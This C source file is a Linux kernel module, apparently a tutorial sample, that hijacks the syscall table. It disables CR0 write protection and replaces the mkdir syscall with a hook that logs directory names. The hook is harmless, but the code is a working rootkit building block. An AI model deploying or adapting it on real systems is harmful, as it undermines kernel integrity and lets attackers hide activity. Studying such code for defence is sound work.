#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/namei.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Syscall Table Hijacking");
MODULE_VERSION("0.01");
static unsigned long * __sys_call_table;
/* Despite what's written in include/linux/syscalls.h,
* we have to declare the original syscall as taking
* a single pt_regs struct as an argument. This enables
* us to unpack this struct in our hook syscall and access
* the arguments that are being passed, while still being
* able to just pass this struct on again to the real syscall
* without any issues. This way, we don't have to unpack
* EVERY argument from the struct - only the ones we care about.
*
* Note that asmlinkage is used to prevent GCC from being
* "helpful" by allocation arguments on the stack */
typedef asmlinkage long (*orig_mkdir_t)(const struct pt_regs *);
orig_mkdir_t orig_mkdir;
/* This is our function hook.
*
* Getting this to work is a little awkward. We have to un-pack
* the arguments from the pt_regs struct in order to be able to
* reference the new directory name without getting a null-pointer
* dereference.
*
* The pt_regs struct contains all the arguments passed to the syscall
* in each register. Looking up sys_mkdir, pathname is stored in rdi, so
* simply dereferencing regs->di gives the pathname argument.
* See arch/x86/include/asm/ptrace.h for more info.
*
* Note that we call the real sys_mkdir() function at the end */
asmlinkage int hook_mkdir(const struct pt_regs *regs)
{
char __user *pathname = (char *)regs->di;
char dir_name[NAME_MAX] = {0};
/* Copy the directory name from userspace (pathname, from
* the pt_regs struct, to kernelspace (dir_name) so that we
* can print it out to the kernel buffer */
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: Trying to create directory with name: %s\n", dir_name);
/* Pass the pt_regs struct along to the original sys_mkdir syscall */
orig_mkdir(regs);
return 0;
}
/* The built in linux write_cr0() function stops us from modifying
* the WP bit, so we write our own instead */
inline void cr0_write(unsigned long cr0)
{
asm volatile("mov %0,%%cr0" : "+r"(cr0) : : "memory");
}
/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which
* determines whether read-only pages can be written to. We are modifying
* the syscall table, so we need to unset it first */
static inline void protect_memory(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
cr0_write(cr0);
}
static inline void unprotect_memory(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
cr0_write(cr0);
}
/* Module initialization function */
static int __init rootkit_init(void)
{
/* Grab the syscall table, and make sure we succeeded */
__sys_call_table = kallsyms_lookup_name("sys_call_table");
/* Grab the function pointer to the real sys_mkdir syscall */
orig_mkdir = (orig_mkdir_t)__sys_call_table[__NR_mkdir];
printk(KERN_INFO "rootkit: Loaded >:-)\n");
printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table);
printk(KERN_DEBUG "rootkit: mkdir @ 0x%lx\n", orig_mkdir);
unprotect_memory();
printk(KERN_INFO "rootkit: hooking mkdir syscall\n");
/* Patch the function pointer to sys_mkdir with our hook instead */
__sys_call_table[__NR_mkdir] = (unsigned long)hook_mkdir;
protect_memory();
return 0;
}
static void __exit rootkit_exit(void)
{
unprotect_memory();
printk(KERN_INFO "rootkit: restoring mkdir syscall\n");
__sys_call_table[__NR_mkdir] = (unsigned long)orig_mkdir;
protect_memory();
printk(KERN_INFO "rootkit: Unloaded :-(\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);